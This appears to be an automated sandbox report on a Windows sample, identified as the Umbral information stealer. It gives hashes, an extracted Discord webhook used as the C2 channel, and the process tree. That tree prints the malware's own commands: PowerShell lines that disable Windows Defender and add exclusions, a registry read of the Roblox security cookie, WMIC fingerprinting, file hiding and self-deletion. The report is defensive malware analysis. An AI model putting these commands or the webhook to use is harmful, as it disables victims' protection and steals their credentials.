Analysis

  • max time kernel
    22s
  • max time network
    17s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    26-11-2024 14:02

General

  • Target

    loggnp.exe

  • Size

    1.3MB

  • MD5

    47daa94b04ff038ade5342c9de2d93e7

  • SHA1

    e8918b3c526002213b94b5d497d63d2b98f6c354

  • SHA256

    7d75b643c71063ea63b7cf241bf138c5546ac59399456776938ae1dee6dcfd0a

  • SHA512

    abbfb1417edfde19694759d63ae175192ce180e937b443e4b485c32eee22389f319a618f9883934a6f878fd5d6530ab7b1f6058f616e79906f6adb8bb9115bf2

  • SSDEEP

    24576:xuDXTIGaPhEYzUzA0nOLYuVuoWIT/ntnA0zggkJboApVzHLEQrdCNYffzHLS:kDjlabwz9OLYdm9zItRnzzG4fzu

Malware Config

Extracted

Family

umbral

C2

https://discord.com/api/webhooks/1310956212174458972/01ouKda6-3AmEWrhEQUcvcuJ4ujY0Otp_7PM-1jBl6WDXtIAmSNAI9bAOD8VNjVQtml0

Signatures

  • Detect Umbral payload 4 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Umbral family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 2 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\loggnp.exe
    "C:\Users\Admin\AppData\Local\Temp\loggnp.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1656
    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\Cc.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Cc.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2968
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2728
      • C:\Windows\system32\attrib.exe
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Cc.exe"
        3⤵
        • Views/modifies file attributes
        PID:2700
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\RarSFX0\Cc.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2564
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3000
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1784
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2848
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" os get Caption
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1208
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" computersystem get totalphysicalmemory
        3⤵
          PID:2324
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" csproduct get uuid
          3⤵
            PID:2208
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:2040
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic" path win32_VideoController get name
            3⤵
            • Detects videocard installed
            PID:1760
          • C:\Windows\system32\cmd.exe
            "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Cc.exe" && pause
            3⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Suspicious use of WriteProcessMemory
            PID:2232
            • C:\Windows\system32\PING.EXE
              ping localhost
              4⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:1528
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\CcC.exe
          "C:\Users\Admin\AppData\Local\Temp\RarSFX0\CcC.exe"
          2⤵
          • Drops file in Drivers directory
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3036
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic.exe" csproduct get uuid
            3⤵
              PID:1592
            • C:\Windows\system32\attrib.exe
              "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\RarSFX0\CcC.exe"
              3⤵
              • Views/modifies file attributes
              PID:1068
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\RarSFX0\CcC.exe'
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:1888
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:2544
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:2972
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
              3⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:2608
            • C:\Windows\System32\Wbem\wmic.exe
              "wmic.exe" os get Caption
              3⤵
                PID:2148
              • C:\Windows\System32\Wbem\wmic.exe
                "wmic.exe" computersystem get totalphysicalmemory
                3⤵
                  PID:892
                • C:\Windows\System32\Wbem\wmic.exe
                  "wmic.exe" csproduct get uuid
                  3⤵
                    PID:2924
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                    3⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1904
                  • C:\Windows\System32\Wbem\wmic.exe
                    "wmic" path win32_VideoController get name
                    3⤵
                    • Detects videocard installed
                    PID:2260
                  • C:\Windows\system32\cmd.exe
                    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\RarSFX0\CcC.exe" && pause
                    3⤵
                    • System Network Configuration Discovery: Internet Connection Discovery
                    PID:648
                    • C:\Windows\system32\PING.EXE
                      ping localhost
                      4⤵
                      • System Network Configuration Discovery: Internet Connection Discovery
                      • Runs ping.exe
                      PID:584

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

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              Downloads

              • C:\Users\Admin\AppData\Local\Temp\RarSFX0\Cc.exe

                Filesize

                492KB

                MD5

                4e6a63942f5205cc84a200ebc4aebc2e

                SHA1

                19ff74550c41a562e1b2b9cbe3c67608f685aefc

                SHA256

                fef58748adf375c23f2604f9c422f353a7fc969ca32bab8bf965b2648bf178d4

                SHA512

                34eb34a4358cfdf19563616659915ef0a895cbf1d37181fa4c003c1d904744c0ce664f56a287b2f2eb631e0f73af90e08b252d4bd090fe5054ed14890c251729

              • C:\Users\Admin\AppData\Local\Temp\RarSFX0\CcC.exe

                Filesize

                492KB

                MD5

                9e1d91acd2ee7f84fdb7374b66b28cf9

                SHA1

                36701c1a18a9fafe10e3d8fa2318453d7d193d5f

                SHA256

                fe47fabeb2de30c850fda2ee6f5af68de6197e84f748d2d81855db4a27755703

                SHA512

                eaf5e72e466dd31083156ad71f73bfa474219c2b4a753ec2ef1f7514ac3706a8d20018d07432a9ef68779300b8f13378a767625d8ea8722a1dab12ba91c0514a

              • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                Filesize

                7KB

                MD5

                e1b49c21c2ad5d2d754a91d32560cad8

                SHA1

                88e615639b3773019c2c7a32cdc20f90ec4ce4fe

                SHA256

                11394ec6b5629757341ee7a16d8e9570e9ab20b0528d0f282aa5737bbc20179f

                SHA512

                7ce4f348ca5fac07a429fdc4eac3cdfbe1329729d1c5a724e20ce1063d6914fd77d7e1e21a713a6d6bae8889a2feb6ac2603c3d2c9d9037f9060568a5d3ee6b0

              • C:\Windows\System32\drivers\etc\hosts

                Filesize

                2KB

                MD5

                577f27e6d74bd8c5b7b0371f2b1e991c

                SHA1

                b334ccfe13792f82b698960cceaee2e690b85528

                SHA256

                0ade9ef91b5283eceb17614dd47eb450a5a2a371c410232552ad80af4fbfd5f9

                SHA512

                944b09b6b9d7c760b0c5add40efd9a25197c22e302c3c7e6d3f4837825ae9ee73e8438fc2c93e268da791f32deb70874799b8398ebae962a9fc51c980c7a5f5c

              • memory/1656-6-0x0000000002410000-0x0000000002420000-memory.dmp

                Filesize

                64KB

              • memory/1888-80-0x0000000001D90000-0x0000000001D98000-memory.dmp

                Filesize

                32KB

              • memory/2040-59-0x000000001B7B0000-0x000000001BA92000-memory.dmp

                Filesize

                2.9MB

              • memory/2040-60-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

                Filesize

                32KB

              • memory/2564-23-0x000000001B680000-0x000000001B962000-memory.dmp

                Filesize

                2.9MB

              • memory/2564-24-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

                Filesize

                32KB

              • memory/2968-18-0x000007FEF61C0000-0x000007FEF6BAC000-memory.dmp

                Filesize

                9.9MB

              • memory/2968-64-0x000007FEF61C0000-0x000007FEF6BAC000-memory.dmp

                Filesize

                9.9MB

              • memory/2968-17-0x0000000000860000-0x00000000008E2000-memory.dmp

                Filesize

                520KB

              • memory/2968-16-0x000007FEF61C3000-0x000007FEF61C4000-memory.dmp

                Filesize

                4KB

              • memory/3000-31-0x0000000001E00000-0x0000000001E08000-memory.dmp

                Filesize

                32KB

              • memory/3000-30-0x000000001B680000-0x000000001B962000-memory.dmp

                Filesize

                2.9MB

              • memory/3036-74-0x00000000008D0000-0x0000000000952000-memory.dmp

                Filesize

                520KB